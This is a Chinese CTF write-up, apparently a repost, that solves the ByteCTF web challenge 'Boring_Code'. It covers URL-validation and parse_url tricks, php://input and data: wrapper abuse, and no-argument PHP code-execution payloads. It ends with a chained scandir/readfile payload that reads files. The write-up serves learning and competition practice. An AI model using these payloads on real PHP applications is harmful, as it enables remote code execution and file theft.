本文共 3643 字,大约阅读时间需要 12 分钟。
ByteCTF上遇到的一道Web题目,Boring_Code
输出了代码:
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
0x01 filter_var函数<?php
$url = $_POST['url'];
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
return true;
}
return false;
}
if(is_valid_url($url)){
echo 'success';
} else {
echo 'fail';
}
那么filter_var($url, FILTER_VALIDATE_URL)判断符合格式的URL可以是怎样的呐?
只要是满足://,前一个可以包含符号 .
0x02 parse_url函数
parse_url函数是用于解析URL中的参数,包括host,port,参数等等
测试代码:
$url = $_POST['url'];
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if(is_valid_url($url)){
var_dump(parse_url($url));
} else {
echo 'fail';
}
那么在第一部分,我们说到了filter_var()函数验证URL其实是不严谨的,那么在parse_url()这,会不会导致一些bypass呐?
通过@分割 user 与 host
改造一下:
$url = $_POST['url'];
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if(is_valid_url($url)){
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
var_dump($r['host']);
echo 'success';
} else {
echo 'Host必须包含以baidu.com结尾字符串';
}
} else {
echo 'fail';
}
0x03 file_get_contents函数
测试代码:
$url = $_GET['url'];
var_dump(file_get_contents($url));
使用php://input伪协议绕过
将要GET的参数?xxx=php://input
用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
将url改为:?xxx=data:text/plain,(url编码的内容)
在is_valid_url()函数中禁止了data://协议
0x04 绕过递归检测
题目中还有;的递归正则匹配
$url = $_POST['url'];
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if(is_valid_url($url)){
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
var_dump($code);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
echo 'success';
} else {
echo '只能有一个;(分号)';
}
} else {
echo 'Host必须包含以baidu.com结尾字符串';
}
} else {
echo 'fail';
}
这种正则匹配需要按照:function(function(function()));这样的格式,只能是函数形式,而且字母得小写,
可以通过两种方法绕过:
Apache环境:getallheaders()
Nginx环境:get_defined_vars()
例如:
// 只需要在数据包头加上相关例如:kk:phpinfo();就可以执行了
eval(next(getallheaders()));
// 只需要传递post或者get或者cookie参数,在对应传值即可
eval(reset(get_defined_vars()));
// 通过16进制编码传PHPSESSID值
eval(hex2bin(session_id(session_start())));
0x05 绕过关键词检测if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
echo 'success';
eval($code);
}
如上代码,过滤了关键词et,那么含有get字符串的函数就不能用
所以使用session方式,hex也被过滤,那么看看php当中字符串的函数有哪些呐?
但是session相关的函数都有_,emmm~
尝试str_rot13()…
然后参考了“PHP无参数RCE”一文
由于过滤太猛,所以尝试任意读取文件
函数
说明
getcwd()
获取当前工作目录
dirname()
返回去掉文件名后的目录名
scandir()
返回当前目录下的文件名+文件夹
chdir()
更改执行目录
end()
指向最后一个元素,并输出
readfile()
读取输出文件内容
next()
将内部指针指向数组中的下一个元素
arrary_reverse()
数组反转
localeconv()
返回一包含本地数字及货币格式信息的数组
current()、pos()
返回数组中的当前单元, 默认取第一个值
hex2bin
转换十六进制字符串为二进制字符串
最后构造payload:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
参考文章
转载地址:http://jaifo.baihongyu.com/